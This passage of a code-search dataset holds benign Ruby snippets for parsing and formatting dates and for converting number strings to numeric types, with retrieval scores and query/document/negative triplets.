[/^[0-3][0-9]{1,2}\\/[0-1][0-9]{1,2}\\/[0-9]{2}$/,\"%d-%m-%y\"],\n [/^[0-1][0-9]{1,2}-[0-3][0-9]{1,2}-[0-9]{4}$/,\"%m-%d-%Y\"],\n [/^[0-1][0-9]{1,2}-[0-3][0-9]{1,2}-[0-9]{2}$/,\"%m-%d-%y\"],\n [/^[0-3][0-9]{1,2}-[0-1][0-9]{1,2}-[0-9]{4}$/,\"%d-%m-%Y\"],\n [/^[0-3][0-9]{1,2}-[0-1][0-9]{1,2}-[0-9]{2}$/,\"%d-%m-%y\"],\n [/^[0-9]{4}\\/[0-1][0-9]{1,2}\\/[0-3][0-9]{1,2}$/,\"%Y/%m/%d\"],\n [/^[0-9]{2}\\/[0-1][0-9]{1,2}\\/[0-3][0-9]{1,2}$/,\"%y/%m/%d\"],\n [/^[0-9]{4}\\/[0-3][0-9]{1,2}\\/[0-1][0-9]{1,2}$/,\"%Y/%d/%m\"],\n [/^[0-9]{2}\\/[0-3][0-9]{1,2}\\/[0-1][0-9]{1,2}$/,\"%y/%d/%m\"],\n\n [/^[0-1][0-9]{1,2}\\/[0-3][0-9]{1,2}\\/[0-9]{4}$/,\"%m/%d/%Y\"],\n [/^[1-9]{1}\\/[0-3][0-9]{1,2}\\/[0-9]{4}$/, \"%m/%d/%Y\"],\n [/^[1-9]{1}\\/[1-9]{1}\\/[0-9]{4}$/, \"%m/%d/%Y\"],\n [/^[0-1][0-9]{1,2}\\/[1-9]{1}\\/[0-9]{4}$/, \"%m/%d/%Y\"],\n\n [/^[0-9]{4}-[0-1][0-9]{1,2}-[0-3][0-9]{1,2}$/,\"%Y-%m-%d\"],\n [/^[0-9]{2}-[0-1][0-9]{1,2}-[0-3][0-9]{1,2}$/,\"%y-%m-%d\"],\n [/^[0-9]{4}-[0-3][0-9]{1,2}-[0-1][0-9]{1,2}$/,\"%Y-%d-%m\"],\n [/^[0-9]{2}-[0-3][0-9]{1,2}-[0-1][0-9]{1,2}$/,\"%y-%d-%m\"],\n [/^\\d{6}$/,\"%y%m%d\"],\n [/^\\d{8}$/,\"%Y%m%d\"],\n [/^\\d{8}$/,\"%m%d%Y\"]\n ]\n reg_ex_list.each do |regex|\n if regex[0].match value\n tmp_time = nil\n # A match, but might not be a valid date value\n # first round of elimination, if the value is out of range, it's not a valid date\n begin\n tmp_time = Date.strptime(value, regex[1]).to_time\n rescue\n next\n end\n # Ok, value not out of range, so we need to exclude values that are greater than the\n # current date, as the system will never be processing report dates beyond today's date,\n # and values that are beyond a 5 year difference from today's date are also treated as\n # invalid date values. Only values within a 5 year difference from today's date are accepted as\n # true valid date values.\n time_year_diff = Time.now.year - tmp_time.year\n if time_year_diff >= 0 #&& time_year_diff <= 5\n new_value = \"#{tmp_time}\"\n break\n end\n end\n end\n if return_value_flag\n unless new_value.blank?\n return new_value\n else\n return original_value\n end\n else\n unless new_value.blank?\n return true\n else\n return false\n end\n end\n end", "def parse_date(s)\n begin\n if s =~ /^(\\d{1,2})\\/(\\d{1,2})\\/([2-9]{1}\\d{1})$/\n date = DateTime.parse(\"#{$2}/#{$1}/19#{$3}\")\n elsif s =~ /^(\\d{1,2})\\/(\\d{1,2})\\/([0-1]{1}\\d{1})$/\n date = DateTime.parse(\"#{$2}/#{$1}/20#{$3}\")\n elsif s =~ /^(\\d{1,2})\\/(\\d{1,2})\\/(\\d{4})$/\n date = DateTime.parse(\"#{$2}/#{$1}/#{$3}\")\n elsif s =~ /^(\\d\\d\\d\\d)-(\\d\\d)$/\n if (1...13).include?($2.to_i) and (1000...3000).include?($1.to_i)\n return s\n else\n return nil\n end\n elsif s =~ /^(\\d\\d\\d\\d)$/\n if (1000...3000).include?($1.to_i)\n return s\n else\n return nil\n end\n else\n date = DateTime.parse(s)\n end\n rescue\n return nil\n end\n return date.strftime(\"%Y-%m-%d\")\n end", "def shorten_to_date(long_date)\n long_date.partition(',')[0]\nend", "def change_date_format(date)\n if date.include? '/'\n\t date_array = date.split(\"/\")\n\t new_date = date_array[1]+\"/\"+date_array[2]+\"/\"+date_array[0]\n \t\tputs new_date\n \t return new_date\n else\n \t return date\n end\n end", "def format_date(date) \r\n (date == \"mm/dd/yy\" || date == \"MM/DD/YY\" || date.blank?)? nil : Date.strptime(date, '%m/%d/%y')\r\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n check_default_sheet #TODO: 2007-12-16\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n value = @cell[sheet][\"#{row},#{col}\"]\n if celltype(row,col,sheet) == :date\n begin\n return Date.strptime(value, @date_format)\n rescue ArgumentError\n raise \"Invalid Date #{sheet}[#{row},#{col}] #{value} using format '{@date_format}'\"\n end\n elsif celltype(row,col,sheet) == :datetime\n begin\n return DateTime.strptime(value, @datetime_format)\n rescue ArgumentError\n raise \"Invalid DateTime #{sheet}[#{row},#{col}] #{value} using format '{@datetime_format}'\"\n end\n end \n return value\n end", "def format_date(original_date)\n date_regex = /\\A(\\d\\d\\d\\d)([\\-\\/])(\\d\\d)\\2(\\d\\d)\\z/\n original_date.sub(date_regex, '\\4.\\3.\\1')\nend", "def formatted_value\n value_as_date_hash = Date._parse(self.value.to_s)\n\n if Date.valid_date?(value_as_date_hash[:year].to_i,\n value_as_date_hash[:mon].to_i,\n value_as_date_hash[:mday].to_i)\n\n I18n.l Date.parse(self.value), format: :default\n else\n self.value\n end\n end", "def test_convert_xanga_header_to_wordpress_date\n str = @scraper.convert_xanga_header_to_wordpress_date(\"Sunday, April 30, 2006\")\n assert_equal(str, \"Sun, 30 Apr 2006 \") \n\n str = @scraper.convert_xanga_header_to_wordpress_date(\"Monday, April 03, 2006\")\n assert_equal(str, \"Mon, 03 Apr 2006 \") \n \n #malformed entries\n #\n assert_raise(RuntimeError) do #missing year\n str = @scraper.convert_xanga_header_to_wordpress_date(\"Monday, April 03, \")\n end\n \n assert_raise(RuntimeError) do #no space between\n str = @scraper.convert_xanga_header_to_wordpress_date(\"Monday, April 03,2006\")\n end\n \n assert_raise(RuntimeError) do #malformed dayofweek\n str = @scraper.convert_xanga_header_to_wordpress_date(\"Mon, April 03, 2006\")\n end\n \n assert_raise(RuntimeError ) do #malformed month\n str = @scraper.convert_xanga_header_to_wordpress_date(\"Monday, Apr 03, 2006\")\n end \n end", "def format_date(string)\n return string.split(/-/).reverse.join('.') if string.match(/-/)\n string\nend", "def format_date_from_url(date)\n DateTime.strptime(date, date_url_format).strftime(date_page_format)\n end", "def parse_date(date)\n date.to_date\n rescue\n Date.strptime(date, '%m/%d/%Y') rescue nil\n end", "def match_date( val )\n\t\treturn Date.parse( val ) rescue nil\n\tend", "def get_date(row_data)\n values = row_data.to_s.chomp.split(' ')\n month = values.map { |token| MONTHS[token.downcase] }.compact.first\n year = values.find { |token| /\\d{4}/ =~ token }\n date = Date.new(year.to_i, month)\n @latest_date = date if latest_date < date\n date\n end", "def format_date(original_date_str)\n original_date_str.sub(%r{\\A(\\d{4})([-/])(\\d{2})\\2(\\d{2})\\z},'\\4.\\3.\\1')\nend", "def parse_date_str (d)\r\n\t\t## Preconditions:\r\n\t\t# check format of date\r\n\t\tdate_arr = d.split(DATE_SPLIT_REGEX)\r\n\t\trtassert(date_arr.size() == 3, ArgumentError,\r\n\t\t\t\"cant recognise format of date '#{d}'\")\r\n\t\t# convert to hyphens as Ruby gets confused with slashes\r\n\t\tdate_str = date_arr.join('-')\r\n\t\t## Main:\r\n\t\t# try each of the supplied date formats\r\n\t\tDATE_FMTS.each { |fmt|\r\n\t\t\tbegin\r\n\t\t\t\tdate_obj = Date.strptime(date_str, fmt)\r\n\t\t\t\treturn date_obj\r\n\t\t\trescue ArgumentError\r\n\t\t\t\t# pass\r\n\t\t\tend\r\n\t\t}\r\n\t\t# try a brute force approach\r\n\t\tbegin\r\n\t\t\tdate_obj = Date.parse(date_str)\r\n\t\t\treturn date_obj \r\n\t\trescue\r\n\t\t\tpp date_arr\r\n\t\t\traise ArgumentError, \"can't recognise format of date '#{d}'\" \r\n\t\tend\r\n\tend", "def updated_date\n extractor = MarcExtractor.new(\"907b\", :first => true)\n lambda do |record, acc|\n datestr = extractor.extract(record).first\n begin\n date = Date.strptime(datestr, \"%m-%d-%y\")\n acc << solr_date(date)\n rescue ArgumentError\n yell.debug \"Unable to parse datestr #{datestr}\"\n end\n end\n end", "def set_date_of_sheet(date, spreadsheet_id)\n day = date.day\n month = date.month\n year = date.year\n weekday = date.strftime('%A')\n formatted_date = \"#{month}/#{day}/#{year} #{weekday}\"\n range = \"#{day}!A2\" #sheet_name = date\n write_sheet_values(range, [[formatted_date]], date)\nend", "def convert_datetimes_intelligently!\n dt_attrs = @converted_headers.select { |obj| obj.match(/_(?:dt?|at|on)\\z/) }\n dt_idxs = dt_attrs.map { |obj| @converted_headers.find_index(obj) }\n\n spreadsheet.map! { |row|\n dt_idxs.each { |idx|\n to_convert = row[idx]\n row[idx] = to_convert.try(:to_datetime) || to_convert\n }\n row }\n end", "def interpretDate(dateString)\n\t\t\n\t\tbegin\n\t\t\n\t\tif (dateString =~ /^\\d\\d?\\/\\d\\d?\\/(\\d\\d)$/ )\n\t\t #puts \"Format: m/d/y\"\n\t\t searchDate = Date.strptime(dateString, '%m/%d/%y')\n\t\telsif (dateString =~ /^\\d\\d?\\/\\d\\d?\\/(\\d\\d\\d\\d)$/ )\n\t\t #puts \"Format: m/d/Y\"\n\t\t searchDate = Date.strptime(dateString, '%m/%d/%Y')\n\t\telsif (dateString =~ /^\\d\\d?\\.\\d\\d?\\.(\\d\\d)$/ )\n\t\t #puts \"Format: m.d.y\"\n\t\t searchDate = Date.strptime(dateString, '%m.%d.%y')\n\t\telsif (dateString =~ /^\\d\\d?\\.\\d\\d?\\.(\\d\\d\\d\\d)$/ )\n\t\t #puts \"Format: m.d.Y\"\n\t\t searchDate = Date.strptime(dateString, '%m.%d.%Y')\n\t\telsif (dateString =~ /^\\d\\d?\\-\\d\\d?\\-(\\d\\d)$/ )\n\t\t #puts \"Format: m-d-y\"\n\t\t searchDate = Date.strptime(dateString, '%m-%d-%y')\n\t\telsif (dateString =~ /^\\d\\d?\\-\\d\\d?\\-(\\d\\d\\d\\d)$/ )\n\t\t #puts \"Format: m-d-Y\"\n\t\t searchDate = Date.strptime(dateString, '%m-%d-%Y')\n\t\telse\n\t\t\tflash[:message] = \"Unrecognized date format. Use mm.dd.yy or mm.dd.yyyy.\"\n\t\t return nil\n\t\tend\n\t\t\n\t\trescue ArgumentError => bang\n\t\t\tflash[:message] = \"Invalid date. (Use month first, then day, then year).\"\n\t\t\treturn nil\n\t\tend\n\t\t\n\t\t\n\tend", "def db_formatted_d( d )\n# d.try( :to_formatted_s, :db_date )\n d&.to_formatted_s( :db_date )\n end", "def get_formatted_date(date)\n date = date.gsub(\",\",\"\")\n date = date.gsub(\" \",\"-\")\n arr = date.split(\"-\")\n new_date = arr[1] + \"-\" + arr[2] + \"-\" + arr[3]\n end", "def handle_date_parse_input(string)\n string\n end", "def date_for( day_number, as_date = false )\n Timesheet.date_for( self.year, self.week_number, day_number, as_date )\n end", "def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end", "def formatConvertor(inputFormat)\n\n inputFormat.sub! 'DD', '%d'\n inputFormat.sub! 'YYYY', '%Y'\n inputFormat.sub! 'YY', '%Y'\n inputFormat.sub! 'MM', '%m'\n inputFormat.sub! 'hh', '%H'\n inputFormat.sub! 'mm', '%M'\n inputFormat.sub! 'ss', '%S'\n inputFormat.sub! 'HH', '%I' # HH - for hour of the clock (12 hour)\n inputFormat.sub! 'A/P', '%p'\n inputFormat.sub! 'MON', '%b' # Jan/Feb etc\n #inputFormat.sub! 'TZ', '%z' # TimeZone\n\n\nend", "def format_date_to_s(val)\n Date.parse(val.to_s).strftime('%m/%d/%Y')\n end", "def reformat(string, format)\n case format\n when \"MM/YYYY\"\n val = string.to_i\n sprintf(\"%02d/%4d\", val % 12 + 1, val / 12)\n when /.*%.*f.*/\n sprintf(format, string.to_f).gsub(/(\\d)(?=\\d{3}+(\\.\\d*)?[^0-9]*$)/, '\\1,')\n when /.*%.*d.*/\n sprintf(format, string.to_i).gsub(/(\\d)(?=\\d{3}+(\\.\\d*)?[^0-9]*$)/, '\\1,')\n else\n string\n end\nend", "def format_date(date, format, str, outformat = nil)\n date = Date.strptime(date, format)\n str ? date.strftime(outformat || format) : date\n end", "def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end", "def date_to_rfc822(date); end", "def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend", "def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend", "def extract_distribution_date_from_string(s)\n return nil if s.blank?\n begin\n return DateTime.strptime s.gsub('w/c', '').gsub(/\\([\\w ]*\\)/, '').gsub(/([\\d])[stndrh]{2}/, '\\1').strip, '%d %B %Y'\n rescue\n end\n nil\n end", "def eval_date\n # FIXME: Make pref?\n h = Hash[\"mo\", 1, \"di\", 2, \"mi\", 3, \"do\", 4, \"fr\", 5, \"???\", 6]\n h.merge(Hash[\"mo\", 1, \"tu\", 2, \"we\", 3, \"th\", 4, \"fr\", 5, \"???\", 6])\n a = description.strip.downcase\n a = \"???\" if a.length < 3 || !h.include?(a[0..1])\n day = h[a[0..1]]\n time = a[2..a.length-1].strip.rjust(3, \"0\")\n \"#{day} #{time}\"\n end", "def clean_date(date)\n mo_day_year = date.split(\" \")[0]\n \n return mo_day_year.split(\"/\")\nend", "def date_format t\n t.strftime \"%Y/%m/%d\"\nend", "def date_format t\n t.strftime \"%Y/%m/%d\"\nend", "def date_formats\n [\n '%m/%d/%Y', #'mm/dd/yyyy',\n '%m-%d-%Y', #'mm-dd-yyyy',\n '%m-%d-%y', #'mm-dd-yy',\n '%d/%m/%Y', #'dd/mm/yyyy',\n '%d-%m-%Y', #'dd-mm-yyyy',\n '%d-%m-%y', #'dd-mm-yy',\n '%a, %d %b %Y' #strftime, e.g. 'Sat, 10 Nov 2007'\n ]\n end", "def format_date2(date)\n date.gsub(/\\A(\\d{4})([\\-\\/])(\\d\\d)([\\-\\/])(\\d\\d)\\z/, '\\5.\\3.\\1')\nend", "def scan_for_meeting_date\n intro_paragraphs.map do |paragraph|\n # Exceptional handling as validator. :S\n Date.parse(paragraph.text)\n rescue ArgumentError\n nil\n end.compact.first\n end", "def format_s_to_date(val)\n Date.strptime(val, '%m/%d/%Y').strftime(\"%Y%m%d\")\n end", "def generate_from(given_date)\n return given_date if given_date.is_a?(Date)\n system_settings_date = GlobalSettings[:default_date_format]\n default_date_format = if system_settings_date.present?\n system_settings_date\n else\n '%m/%d/%Y'\n end.gsub('%I:%M %p', '')\n\n split_by = default_date_format.include?('-') ? '-' : '/'\n\n split_date_format = default_date_format.split(split_by).collect {\n |e| e.gsub(/[^A-Za-z]/, '')}.select{|p| p.length > 0}\n d = split_date_format.index('d') # day of month\n m = split_date_format.index('m') # month number\n y = split_date_format.index('Y') # year\n b = split_date_format.index('b') # month in text like Dec, Jan\n\n split_given_date = given_date.split(split_by)\n if split_given_date[y].to_i < 40 # Failsafe not the proper fmt\n if y == 0 and split_given_date[2].to_i > 40\n if split_given_date[1].length == 3\n m = 1; y = 2; d = 0 # dd/mmm/yyyy\n elsif split_given_date[0].length == 3\n m = 0; y = 2; d = 1 #mmm/dd/yyyy\n elsif split_given_date[0].to_i < 12\n y = 2; m = 0; d = 1 # mm/dd/yyyy\n else\n y = 2; m = 1; d = 0 # dd/mm/yyyy\n end\n else\n y = 0; m = 1; d = 2 # yyyy-mm-dd\n end\n end\n\n month = if split_by == '-'\n Date::ABBR_MONTHNAMES.index(split_given_date[b])\n else\n split_given_date[m]\n end.to_i\n\n Date.new(split_given_date[y].to_i, month, split_given_date[d].to_i)\n end", "def convert_date(date)\n Date.strptime(date, ROOMORAMA_DATE_FORMAT).strftime(POPLIDAYS_DATE_FORMAT)\n end", "def packaging_date_of(fixfile)\n Log.log_debug('Into packaging_date_of fixfile=' + fixfile)\n packaging_date = ''\n begin\n # Get 'PACKAGING DATE' from the fix\n command_output = []\n # environment: {'LANG' => 'C'}\n Utils.execute2(\"/usr/sbin/emgr -dXv3 -e #{fixfile} | /bin/grep -w 'PACKAGING DATE:'\",\n command_output)\n # We get something like that : PACKAGING DATE: Fri Apr 1 04:14:10 CDT 2016\n # We match it 0 1 2 3 4 5\n if !command_output[0].nil? && !command_output[0].empty?\n to_regex = command_output[0].chomp\n Log.log_debug('to_regex=|' + to_regex + '|')\n to_regex =~ /PACKAGING DATE:\\s+\\w+\\s+(\\w+)\\s+(\\d+)\\s+(\\d+):(\\d+):(\\d+)\\s+\\w+\\s+(\\d+)\\s*/\n # 0 1 2 3 4 5\n hash_months = {'Jan' => '01', 'Feb' => '02', 'Mar' => '03',\n 'Apr' => '04', 'May' => '05', 'Jun' => '06',\n 'Jul' => '07', 'Aug' => '08', 'Sep' => '09',\n 'Oct' => '10', 'Nov' => '11', 'Dec' => '12'}\n #\n month = Regexp.last_match(1)\n s_month = hash_months[month.to_s]\n #\n day = Regexp.last_match(2)\n # Log.log_debug('day=' + day.to_s)\n s_day = if day.to_i <= 9\n '0' + day.to_s\n else\n day.to_s\n end\n #\n hour = Regexp.last_match(3)\n minute = Regexp.last_match(4)\n second = Regexp.last_match(5)\n #\n year = Regexp.last_match(6)\n #\n packaging_date = year + '_' + s_month + '_' + s_day + '_' + \\\nhour.to_s + '_' + minute.to_s + '_' + second.to_s\n Log.log_debug(' Packaging_date=' + packaging_date)\n else\n Log.log_debug(' No PACKAGING DATE set on this fix')\n end\n rescue StandardError => e\n Log.log_warning(\"Propagating exception of type \\\n'#{e.class}' when checking!\")\n raise e\n end\n packaging_date\n end", "def format_date_nicely(date)\n date.strftime '%d/%m/%Y'\nend", "def formated_date( input, format=$date_format )\n if not format.nil? and not input.nil?\n res = ParseDate.parsedate( input )\n Time.local(*res).strftime( format )\n else\n input\n end\n end" ]
[ "0.66740584", "0.65901846", "0.6574244", "0.6430589", "0.6343121", "0.63239056", "0.6299257", "0.6250306", "0.6199356", "0.61805886", "0.6172485", "0.6167092", "0.6110624", "0.60698855", "0.60556436", "0.6052026", "0.6050507", "0.6048614", "0.6026194", "0.60173297", "0.60080916", "0.6000671", "0.6000103", "0.5984258", "0.5977327", "0.59735125", "0.59631217", "0.5958014", "0.59484136", "0.59330934", "0.5921169", "0.59194005", "0.5896413", "0.5888811", "0.5881008", "0.5874354", "0.5872664", "0.58525574", "0.58492833", "0.58108556", "0.5804107", "0.57882905", "0.57882905", "0.576303", "0.5760849", "0.57605815", "0.5742976", "0.57374704", "0.5731223", "0.5730774", "0.5722867", "0.5720517", "0.5712267", "0.5703238", "0.56963015", "0.5694415", "0.5693783", "0.5692268", "0.56896484", "0.56882286", "0.5679957", "0.56712896", "0.56658334", "0.56610364", "0.5647215", "0.5637401", "0.56238157", "0.5622864", "0.562099", "0.5610579", "0.56031513", "0.56025493", "0.5588766", "0.5584754", "0.5576254", "0.5572915", "0.5571531", "0.55655766", "0.55630386", "0.55611545", "0.5559257", "0.5555211", "0.55548894", "0.5551162", "0.5536323", "0.5535599", "0.5535599", "0.55335504", "0.5532068", "0.5529125", "0.55289197", "0.55289197", "0.55280036", "0.55200213", "0.5516882", "0.55088323", "0.5482025", "0.54779786", "0.54779553", "0.54743564", "0.54725945" ]
0.0
-1
Converts the string form of a number to the bestfitting numeric type.
def str_to_number(s) val_str = s.to_s() if INT_REGEX.match(val_str) return val_str.to_i() elsif FLOAT_REGEX.match(val_str) return val_str.to_f() else raise ArgumentError, "can't understand numeric format '#{s}'" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convert_string_to_number(str); end", "def string_to_number(string)\n case string\n when /^\\d+$/\n string.to_i\n when /^\\d+.\\d$/\n string.to_f\n else \n string\n end\n end", "def string_to_number(string)\n case string\n when /^\\d+$/\n string.to_i\n when /^\\d+.\\d$/\n string.to_f\n else\n string\n end\n end", "def convert_string_to_number(str)\n matches = RE_NUMBER_STR.match(str)\n\n s = matches[:sign] == '-' ? -1 : 1\n i = matches[:integer].to_i\n f = matches[:fractional].to_i\n d = matches[:fractional] ? matches[:fractional].length : 0\n t = matches[:exponent_sign] == '-' ? -1 : 1\n e = matches[:exponent].to_i\n\n # I know this formula looks nutty, but it's exactly what's defined in the\n # spec, and it works.\n value = s * (i + f * 10**-d) * 10**(t * e)\n\n # Maximum and minimum values aren't defined in the spec, but are enforced\n # here for sanity.\n if value > Float::MAX\n value = Float::MAX\n elsif value < -Float::MAX\n value = -Float::MAX\n end\n\n value\n end", "def cast_to_num(str)\n Integer(str)\n rescue ArgumentError\n Float(str)\n rescue ArgumentError\n nil\n end", "def string_to_number(string)\n string.to_f\nend", "def parse_number(string)\n if string.include? \".\"\n string.to_f\n elsif string.include? \"E\"\n Complex(string).to_f\n else\n string.to_i\n end\n end", "def convert_string_to_number(str)\n matches = RE_NUMBER_STR.match(str)\n\n s = matches[:sign] == '-' ? -1 : 1\n i = matches[:integer].to_i\n f = matches[:fractional].to_i\n d = matches[:fractional] ? matches[:fractional].length : 0\n t = matches[:exponent_sign] == '-' ? -1 : 1\n e = matches[:exponent].to_i\n\n # I know this looks nutty, but it's exactly what's defined in the spec,\n # and it works.\n s * (i + f * 10**-d) * 10**(t * e)\n end", "def convert number\n raise_on_type_mismatch number\n typed_conversion number\n end", "def convert number\n raise_on_type_mismatch number\n typed_conversion number\n end", "def convert number\n raise_on_type_mismatch number\n typed_conversion number\n end", "def convert number\n raise_on_type_mismatch number\n typed_conversion number\n end", "def convert number\n raise_on_type_mismatch number\n typed_conversion number\n end", "def parse_number(num)\n if num.is_float?\n num.to_f\n else\n num.to_i\n end\n end", "def numberfy(input_string)\n if input_string.include?(\".\")\n input_string.to_f\n else input_string.to_i\n end\nend", "def to_float_or_int str\n Integer(str) rescue Float(str) rescue nil\n end", "def number_type b\n if b.include?(\".\")\n return b.to_f.round(2)\n else\n return b.to_i\n end\nend", "def convert number\n raise_on_type_mismatch number\n check = self.of(number)\n if number.is_a?(String) or check.is_a?(String)\n number.to_s << self.of(number).to_s\n else\n convert_to_int(number) * 10 + self.of(number)\n end\n end", "def number_type a\n if a.include?(\".\")\n return a.to_f.round(2)\n else\n return a.to_i\n end\nend", "def convert(value, type)\n begin\n case type\n when 'json' then JSON.parse(value)\n when 'base64' then JSON.parse(Base64.decode64(value))\n when 'integer' then Integer(value)\n when 'number' then Float(value)\n else\n value.to_s\n end\n rescue ArgumentError\n value.to_s\n end\n end", "def is_number? string\n true if Float(string) rescue false\n end", "def is_number? string\n true if Float(string) rescue false\n end", "def to_num(string)\n string.gsub!(' ', '')\n string.each_char.map { |char| \"#{convert[char]} \" }.join.chop\n end", "def convert_number_string_to_integer(number_string)\n Integer(number_string.gsub(\" \", \"\"))\nend", "def is_number? string\n true if Float(string) rescue false\n end", "def is_number? string\n true if Float(string) rescue false\n end", "def convert_to_numeric(val)\n return BigDecimal(val, Float::DIG) if val.is_a?(Float)\n return val if val.is_a?(Numeric)\n # Eliminate any commas, $'s (or other currency symbol), or _'s.\n cursym = Regexp.quote(FatTable.currency_symbol)\n clean_re = /[,_#{cursym}]/\n val = val.to_s.clean.gsub(clean_re, '')\n return nil if val.blank?\n case val\n when /(\\A[-+]?\\d+\\.\\d*\\z)|(\\A[-+]?\\d*\\.\\d+\\z)/\n BigDecimal(val.to_s.clean)\n when /\\A[-+]?[\\d]+\\z/\n val.to_i\n when %r{\\A([-+]?\\d+)\\s*[:/]\\s*([-+]?\\d+)\\z}\n Rational($1, $2)\n end\n end", "def check_type (num)\n # convert to float if validated number contains a decimal\n if num =~ /\\./\n return num = Float(num)\n else\n return num = Integer(num)\n end\nend", "def type_of_num(num)\n if float?(num)\n num.to_f\n else num.to_i\n end\n end", "def is_number?(str)\n true if Float(str) rescue false\n end", "def is_number? string\n \t\ttrue if Float(string) rescue false\n\tend", "def convert_number(number)\n return 0 if number.nil?\n return number if number.is_a?(BigDecimal)\n\n number = number.gsub(\".\", \"\").gsub(\",\", \".\") unless number.is_a?(Numeric)\n number.to_d\n end", "def is_number?(string)\n true if Float(string) rescue false\n end", "def is_number? string\n true if Float(string) rescue false\nend", "def is_number?(string)\n true if Float(string) rescue false\n end", "def float_or_interger(str)\n if str.include?\".\"\n num =str.to_f\n else\n num = str.to_i\n end\n return num\nend", "def human_readable(number, type)\n\t# Do some math then return the number in a commified form:\n\treturn (number/type).to_s.gsub(/(\\d)(?=\\d{3}+(?:\\.|$))(\\d{3}\\..*)?/,'\\1,\\2')\nend", "def is_number(string)\r\n\ttrue if Float(string) rescue false\r\nend", "def string_to_number(s)\n s.to_i\nend", "def string_to_number(s)\n s.to_i\nend", "def collect_number(mat)\n is_f = mat.include? '.'\n\n # Throw a fit if there's more than one decimal point\n fail \"Invalid number encountered: #{str}\" if mat =~ /.*\\..*\\./\n\n is_f ? Token.new(:float, mat.to_f) : Token.new(:integer, mat.to_i)\n end", "def string_to_number(string)\n string.to_i\nend", "def to_non_shorthand(value_string)\n return_float = 0\n if !value_string.nil? && value_string != \"N/A\"\n if value_string.include?(\"B\")\n return_float = value_string.delete(\"B\").to_f * 1000000000\n elsif value_string.include?(\"M\")\n return_float = value_string.delete(\"M\").to_f * 1000000\n elsif value_string.include?(\"K\")\n return_float = value_string.delete(\"K\").to_f * 1000000\n end\n end\n return_float\n end", "def number\n number = number.to_s\n if number.includes?('.')\n number = number.to_f\n else\n number = number.to_i\n end\nend", "def str_to_val(s)\n case s\n when /^\\d+$/ then s.to_i\n when /^\\d+\\.\\d*/ then s.to_f\n when /^true$/ then true\n when /^false$/ then false\n else s\n end\nend", "def numberfy(string)\n message = string.downcase.split(//)\n message.each do |char|\n (ALPHA.include? char) ? number = ALPHA_HASH[char] : number = char\n @numeric_message << number\n end\n end", "def to_number(string)\n Integer(string || '')\n rescue ArgumentError\n 0\n end", "def to_number(obj)\n case obj\n when Numeric\n obj\n when String\n (obj.strip =~ /^\\d+\\.\\d+$/) ? obj.to_f : obj.to_i\n when DateTime, Date, Time\n obj.to_time.to_i\n else\n 0\n end\n end", "def to_number(obj)\n case obj\n when Numeric\n obj\n when String\n (obj.strip =~ /^\\d+\\.\\d+$/) ? obj.to_f : obj.to_i\n when DateTime, Date, Time\n obj.to_time.to_i\n else\n 0\n end\n end", "def can_be_number(string)\n forced_as_f = string.to_f # force string to be a float\n forced_as_i = string.to_i # force string to be an integer\n return string == forced_as_f.to_s || string == forced_as_i.to_s # see if either of the forced strings equal the original\nend", "def best(str, ndigits=1)\n _best(str, ndigits) rescue str\n end", "def numeric(object)\n object.to_s =~ /(^[-+]?[0-9]+$)|(\\.0+)$/ ? object.to_i : Float(object)\n end", "def is_number?(string)\n true if Float(string) rescue false #need to understand this\nend", "def is_number?(string)\n # catch and return false if it isn't an integer\n true if Float(string) rescue false \nend", "def _is_numeric?(str)\n Float(str) != nil rescue false\n end", "def typecast_to_numeric(value, method)\n if value.is_a?(String)\n value = value.strip.gsub(/,/, '.').gsub(/[^\\d\\-\\.]/, '').gsub(/\\.(?!\\d*\\Z)/, '')\n value.empty? ? nil : value.send(method)\n elsif value.respond_to?(method)\n value.send(method)\n else\n nil\n end\n end", "def to_numeric(anything)\n\n num = BigDecimal.new(anything.to_s)\n if num.frac == 0\n num.to_i\n else\n num.to_r\n end\n end", "def get_type(type_str)\n return :integer if /^\\d+\\.$/.match(type_str)\n return :decimal if /^\\d+\\.\\d+$/.match(type_str)\n return :string\n end", "def is_number(str)\n str.to_f.to_s == str.to_s || str.to_i.to_s == str.to_s\n end", "def as_val(s)\n if s < 1_000\n s\n elsif s >= 1_000_000_000_000\n (s / 1_000_000_000_000.0).round(1).to_s + 'T'\n elsif s >= 1_000_000_000\n (s / 1_000_000_000.0).round(1).to_s + 'B'\n elsif s >= 1_000_000\n (s / 1_000_000.0).round(1).to_s + 'M'\n elsif s >= 1_000\n (s / 1_000.0).round(1).to_s + 'K'\n end\nend", "def number_from_string(string)\n bd = BigDecimal.new(string)\n if @style == :btc || @style == :btc_long\n return (bd * BTC::COIN).to_i\n else\n # TODO: support other styles\n raise \"Not Implemented\"\n end\n end", "def numericize\n\t\tcollect(&:to_f)\n\tend", "def is_number?(str)\n return str == str.to_f.to_s || str == str.to_i.to_s\nend", "def number_or_string(input) #helper for pick_a_story\n new_input = input.gsub(/[^\\d]/, \"\")\n if new_input.empty?\n input\n else #return a valid number\n new_input.to_i.between?(1,146) ? new_input.to_i : 555\n end\n end", "def convertToNum(price)\n \treturn Float(price.gsub(/\\s+/, \"\").gsub(\"USD \",\"\"))\n end", "def is_number(str)\n true if Float(str)\nrescue StandardError\n false\nend", "def convert_to_euros_1(dollars)\n dollars * 0.95 if dollars.is_a?(Numeric)\nend", "def is_numeric(str)\n Float(str) != nil rescue false\n end", "def number_builder( number_as_string )\n\n number_array = number_as_string.each_char.to_a\n\n pos_flag = true\n had_sign = false\n\n # handle the sign\n case number_array.first\n when '-'\n pos_flag = false\n had_sign = true\n number_array.shift\n when '+'\n had_sign = true\n number_array.shift\n end\n\n total = 0 \n decimal_position = -1\n\n number_array.each_with_index do |character,index|\n \n # record this position if decimal\n if character.eql?('.')\n decimal_position = index\n else\n # don't validate the number \n total = total*10 + character.to_i\n end\n end\n \n ( total = 0 - total ) if not pos_flag\n\n # account for decimal point placement\n \n if (decimal_position != -1)\n # Example: 15.5\n # 0123 (length 4, decimal_position = 2)\n\n # Example: 19.26\n # 01234 (length 5, decimal_position = 2)\n\n # Example: -23.26\n # 012345 (length 6, decimal_position = 3)\n\n\n power = 